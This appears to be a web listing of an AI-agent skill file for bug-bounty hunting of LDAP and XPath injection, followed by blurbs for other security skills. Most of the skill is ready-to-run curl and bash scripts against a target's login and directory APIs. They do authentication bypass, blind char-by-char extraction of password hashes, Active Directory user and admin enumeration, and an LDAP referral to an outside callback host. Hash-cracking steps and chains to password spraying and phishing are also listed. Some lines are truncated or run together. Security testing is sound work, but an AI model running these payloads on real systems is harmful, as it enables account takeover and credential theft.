Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) \\ NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/OR filter logic, and {SSHA}/{CRYPT} userPassword exfil on non-AD directories. Use when target uses LDAP/AD authentication, corporate SSO with a directory backend, an address-book/people-search API, or XML-based data stores queried with XPath.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-ldap
> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
> public platforms (most live on internal-pentest reports). This skill is
> grounded in the **OWASP LDAP Injection Prevention / Testing Guide
> (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection)**, and
> the RFC 4515 filter grammar — all publicly verifiable references rather
> than invented HackerOne IDs. Do not cite a report you cannot link.
LDAP injection that bypasses authentication = Critical. Blind attribute
exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.
Highest-value chains:
uid filter and append an always-true OR so thebind/search returns the admin entry without a valid password.
boolean oracle (login success/failure, result count, or response length).
userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable
by query. See the AD-vs-generic warning below.
' or '1'='1 against XML-backed auth.Do not conflate the two. They behave very differently:
| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
|---|---|---|
| Password attribute | userPassword — may hold {SSHA}/{MD5}/{CRYPT} and is readable if ACL allows | unicodePwd — write-only, never returned by any search |
| Hash exfil via injection | Possible where ACLs leak userPassword | Not possible — there is no readable hash attribute over LDAP |
| Useful enum attrs | uid, cn, mail, userPassword | sAMAccountName, userPrincipalName, mail, memberOf, description (often holds plaintext secrets!) |
**Do not tell a reader that blind LDAP injection yields AD password hashes — it
does not.** unicodePwd is write-only. Against AD, the win is enumeration
(sAMAccountName, memberOf, description/info fields that admins misuse to
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
applies only to non-AD directories exposing userPassword.
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN
A login filter is typically built by string-concat:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the
operator comes first and every sub-filter is parenthesised. To inject you must
(a) escape the current (uid=...) group, (b) inject your own logic, and
(c) leave the overall parenthesis count balanced or the server throws a
filter-syntax error instead of executing.
These characters are syntactically meaningful and MUST be escaped by a safe app
(RFC 4515 §3). If the app reflects an error or behaves differently when you send
them raw, the input is unescaped → injectable:
| Char | Filter escape | Why it matters |
|------|---------------|----------------|
| * | \2a | wildcard — matches any value |
| ( | \28 | opens a filter group |
| ) | \29 | closes a filter group |
| \ | \5c | escape char itself |
| NUL | \00 | string terminator — truncates filter in C-backed servers |
| / | (DN context) | RDN separator — relevant for DN injection |
Search-filter context vs DN injection are different bugs:
(attr=VALUE) filter. Payloads use * ( ) & | !.
(uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and /
matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
-X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test)","password":"x"}' | grep -iE \
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
A lone ) that produces a syntax error/500 while a balanced payload does not is
the cleanest LDAP-injection tell — note it, you will need it as proof.
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
# username = *)(uid=*))(|(uid=* password = anything
# Always-true admin (OR uid=*):
# username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
# username = admin)(uid=*))%00 password = x
USERNAME_PAYLOADS=(
'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
'*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
'admin*' # simple wildcard suffix — try first, lowest noise
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
echo "PAYLOAD: $P"
echo "RESP: ${R: -40}"
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
echo "---"
done
Parenthesis-balancing rule of thumb: count ( minus ) in the *resulting*
full filter, not just your payload. If the app appends )(userPassword=...))
after your input, leave the right number of trailing ) so the final string is
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
length-jitter on the injected char itself). Use a paired true/false control
so the oracle is the *response*, not the absolute size.
# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=* -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () { # $1 = filter-tail payload -> prints normalized size
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"
False-positive guards for blind exfil:
from the attacker-controlled char itself is the #1 false positive.
app didn't just start erroring on every request — WAF block looks like a match).
marker string ("Invalid credentials" present/absent), or timing** with a
heavy filter — but only after establishing a stable baseline delta.
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
"' or '1'='1"
"' or ''='"
"admin' or '1'='1' or 'a'='b" # keeps quoting balanced
"x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
"*[contains(name(),'pass')]" # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
--data-urlencode "username=$P" --data-urlencode "password=x")
echo "$P -> ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
-H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
# (&(sAMAccountName=*)(memberOf=*Domain Admins*))
# (description=*pw*) (description=*pass*) — admins stash secrets here
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
# (uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.
| LDAP finding | Chain to | Impact |
|--------------|----------|--------|
| Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
| AD enumeration (sAMAccountName) | Username list → password spray / credential stuffing | Mass-ATO risk |
| memberOf enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |
| description/info field read | Plaintext creds admins stashed there | Direct credential leak |
| Blind exfil of userPassword (non-AD only) | {SSHA} (salted SHA-1) → hashcat -m 111 ({SSHA256}=1411, {SSHA512}=1711); {CRYPT} → mode depends on the $id$ prefix ($1$=500, $6$=1800) → offline crack | High |
| LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
> AD has no readable password attribute — do not list "extract AD hashes" as a
> chain. Against AD, the credential win comes from description/info misuse or
> from enumerated usernames feeding a spray, never from unicodePwd.
A "bypass" or "match" is only real once you have eliminated syntax-error,
WAF-block, and length-jitter explanations.
session** (session cookie + access to a post-login resource), and the same
request with one paren removed returns a filter-syntax error — proving
the filter parsed and executed, not that the app fell open on every input.
()(uid=NONEXISTENT_ZZZ)) returns the failure response. If both
true-class and false-class "succeed", you found a broken endpoint, not LDAP
injection.
FALSE control still reads FALSE between rounds; recovered value verified by
a direct lookup or by the auth-bypass payload that uses it.
in to a real account context — not just a different error page.
payload is decisive for blind cases — prefer it over length-only inference.
(sAMAccountName/memberOf); never claim AD hash exfil.
Severity:
userPassword hash exfil (non-AD) or description-field credential read: HighExpert in secure backend coding practices specializing in input validation, authentication, and API security. Use PROACTIVELY for backend security implementations or security code reviews.
This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.
Comprehensive Flow Nexus platform management - authentication, sandboxes, app deployment, payments, and challenges
This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
Expert malware analyst specializing in defensive malware research, threat intelligence, and incident response. Masters sandbox analysis, behavioral analysis, and malware family identification. Handles static/dynamic analysis, unpacking, and IOC extraction. Use PROACTIVELY for malware triage, threat hunting, incident response, or security research.
This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
Expert in secure mobile coding practices specializing in input validation, WebView security, and mobile-specific security patterns. Use PROACTIVELY for mobile security implementations or mobile security code reviews.
Take elementalsouls/hunt-ldap from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.